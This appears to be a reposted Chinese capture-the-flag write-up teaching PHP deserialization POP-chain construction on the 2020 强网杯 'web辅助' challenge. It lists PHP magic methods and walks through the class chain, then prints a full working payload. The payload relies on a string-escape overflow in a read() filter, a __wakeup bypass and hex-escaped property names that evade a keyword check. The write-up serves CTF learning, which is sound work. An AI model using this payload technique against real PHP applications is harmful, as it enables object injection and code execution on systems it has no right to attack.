01
魔法函数
在构造POP链之前,首先了解一下常见的PHP魔法函数,这也是构造POP的关键。
__construct() //当一个对象创建时被调用
__destruct() //当一个对象销毁时被调用
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
02
2020强网“web辅助”题目
POP链构造首先就是要找到头和尾,也就是用户能传入参数的地方(头)和最终要执行函数方法的地方(尾)。找到头尾之后进行反推过程,从尾部开始一步步找到能触发上一步的地方,直到找到传参处,此时完整的POP链就显而易见了。CTF赛中一般尾部就是get flag的方法,头部则是GET/POST传参。下面通过题目详细的展现POP链构造的过程。首先上源码:
class.php
common.php
index.php
play.php
03
寻找POP链
这个题目直接给出了4个PHP页面源码,我在源码的基础上加了一些注释方便后续构造POP链时理解和查找。大致阅读代码后可以看出,需要我们通过GET方式传入username和password参数来最终执行cat flag,那么头和尾就确定了,下面就是构造POP链的过程。
-
要获取flag,得执行类jungle对象里的KS方法,要执行KS方法,需要触发类jungle对象里__toString(),需要把类当作字符串调用;
-
midsolo类里的Gank方法可以实现字符串调用,所以类midsolo对象里的$name是类jungle的对象;调用Gank方法,得触发__invoke(),这样就得让对象作为函数调用,即类topsolo里的TP方法,所以类topsolo对象里的$name是midsolo类的对象;
-
要调用TP方法,得创建一个topsolo类对象,在销毁时就会调用,但代码没有可以直接创建topsolo类对象。
-
代码能通过传入的username和password参数构造类player对象。
至此,大致的POP链已经初现雏形了,但中间出现了断层,怎么从类player到类topsolo呢,我们再看其他的代码。
common.php里有两个关键方法,read方法可以将5字节转3字节,write方法可以将3字节转5字节。是不是很熟悉,这不就是典型的想要溢出的操作。从index.php和play.php可以看出整个代码流程可简化为:
$player = new player($username, $password);
$player = unserialize(read(check(write(serialize($player))));
print_r($player);
那么思路就清晰了,我们通过构造类player的参数代入程序后能够构造出一个类topsolo对象来,利用的点就是read函数,通过5字节转3字节,造成反序列化时吞噬掉后面的特定长度序列化字符从而会构建出一个新的序列化字符串,此时新的序列化字符串内就包含了类topsolo等对象。所以,利用类player对象,将成员变量username赋值成 * ……的形式,通过read函数覆盖掉成员变量password序列化值来构造一个新的password序列化值。
04
构造POP链payload
首先本地写一个构造序列化的php代码:test.php
得到:
O:6:"player":3:{s:7:"*user";i:1;s:7:"*pass";O:7:"topsolo":1:{s:7:"*name";O:7:"midsolo":1:{s:7:"*name";O:6:"jungle":1:{s:7:"*name";s:7:"Lee Sin";}}}s:8:"*admin";i:0;}
这里红色部分是我们想要程序最终反序化执行的对象里password部分,但需要进行改造,首先类midsolo里有__wakeup(),会在反序列化时触发导致更改成员变量name的值,所以修改对象属性个数来绕过,又因为所有的类都是私有成员变量且check方法不允许出现字符串name,所以用十六进制的 0、大写S和6eame进行绕过,同时要在红色部分开头加一个"弥补要被吞噬的"字符,最后改造得到:
";S:7:" 0* 0pass";O:7:"topsolo":1:{S:7:" 0* 06eame";O:7:"midsolo":2:{S:7:" 0* 06eame";O:6:"jungle":1:{S:7:" 0* 06eame";s:7:"Lee Sin";}}}S:8:" 0* 0admin";i:0;}
下面确定username参数,首先在play.php添加如下代码方便对比
print_r(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR'])));
echo "<br>";
print_r(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR']))));
echo "<br>";
print_r(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR'])))));
echo "<br>";
首先构造测试payload:
?username= * &password=";S:7:" 0* 0pass";O:7:"topsolo":1:{S:7:" 0* 06eame";O:7:"midsolo":2:{S:7:" 0* 06eame";O:6:"jungle":1:{S:7:" 0* 06eame";s:7:"Lee Sin";}}}S:8:" 0* 0admin";i:0;}
访问play.php可看到:
O:6:"player":3:{s:7:"*user";s:5:"*";s:7:"*pass";s:171:"";S:7:" 0* 0pass";O:7:"topsolo":1:{S:7:" 0* 06eame";O:7:"midsolo":2:{S:7:" 0* 06eame";O:6:"jungle":1:{S:7:" 0* 06eame";s:7:"Lee Sin";}}}S:8:" 0* 0admin";i:0;}";s:8:"*admin";i:0;}
其中红色部分就是需要吞噬掉的部分,一共23个字符。因为5字节转3字节导致吞噬的字符只能是2的倍数,所以在黑色部分开头多增加一个任意字符组成24个字符。得出需要username输入12个“ * ”,password部分为:
2";S:7:" 0* 0pass";O:7:"topsolo":1:{S:7:" 0* 06eame";O:7:"midsolo":2:{S:7:" 0* 06eame";O:6:"jungle":1:{S:7:" 0* 06eame";s:7:"Lee Sin";}}}S:8:" 0* 0admin";i:0;}
所以,最终payload为:
?username= * * * * * * * * * * * * &password=2";S:7:" 0* 0pass";O:7:"topsolo":1:{S:7:" 0* 06eame";O:7:"midsolo":2:{S:7:" 0* 06eame";O:6:"jungle":1:{S:7:" 0* 06eame";s:7:"Lee Sin";}}}S:8:" 0* 0admin";i:0;}
这样传入参数后
read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR']))))输出的值如下:
O:6:"player":3:{s:7:"*user";s:60:"************";s:7:"*pass";s:172:"2";S:7:" 0* 0pass";O:7:"topsolo":1:{S:7:" 0* 06eame";O:7:"midsolo":2:{S:7:" 0* 06eame";O:6:"jungle":1:{S:7:" 0* 06eame";s:7:"Lee Sin";}}}S:8:" 0* 0admin";i:0;}";s:8:"*admin";i:0;}
紫色部分是12个*加上24个空字符,红色部分是因反序列化吞噬掉的部分,黑色是构造而成新的成员变量password的值。
在index.php页面传参后即可访问play.php获取flag
05
小结
此题基本涵盖了PHP反序列化常见的大多数考点,整体POP链构造不难,初次练习需要细心寻找每个类之间可以相互调用的方法,多次练习便能得心应手快速找到隐藏的POP链。文中可能存在一些不严谨的口述,还请大佬们见谅。
原文始发于微信公众号(betasec):一题教你学会构造PHP反序列化POP链
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论